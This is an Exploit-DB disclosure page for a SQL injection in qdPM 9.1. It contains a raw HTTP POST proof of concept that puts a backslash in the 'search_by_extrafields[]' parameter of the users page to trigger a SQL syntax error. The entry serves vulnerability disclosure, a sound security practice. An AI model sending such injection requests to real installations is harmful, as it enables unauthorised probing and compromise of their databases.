qdPM 9.1 - 'search_by_extrafields[]' SQL Injection

EDB-ID:
46387

CVE:
N/A

EDB Verified: ×

Author:
MEHMET EMIROGLU

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-02-15

Vulnerable App:

```
================================================================================
# Exploit Title: qdPM 9.1 - 'search_by_extrafields[]' SQL Injection
# Date: 14-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: http://qdpm.net
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: v9.1
# Category: Webapps
# Tested on: Wamp64, @Win
# Software description:
  Free project management tool for small team
  qdPM is a free web-based project management tool suitable for a
small team working on multiple projects.
  It is fully configurable. You can easy manage Projects, Tasks and
People. Customers interact
  using a Ticket System that is integrated into Task management.
================================================================================
# POC - SQLi
# Parameters : search_by_extrafields[]
# Attack Pattern : URL encoded POST input search_by_extrafields[] was set
to \
  Error message found : You have an error in your SQL syntax
# POST Request: http://localhost/qdpm/index.php/users
================================================================================
POST /qdpm/index.php/users HTTP/1.1
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/qdPM/
Cookie: qdPM8=se4u27u8rbs04mo61f138b5k3d; sidebar_closed=1
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21
(KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

search[keywords]=&search_by_extrafields[]=%5c
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link

Databases

Links

Sites

Solutions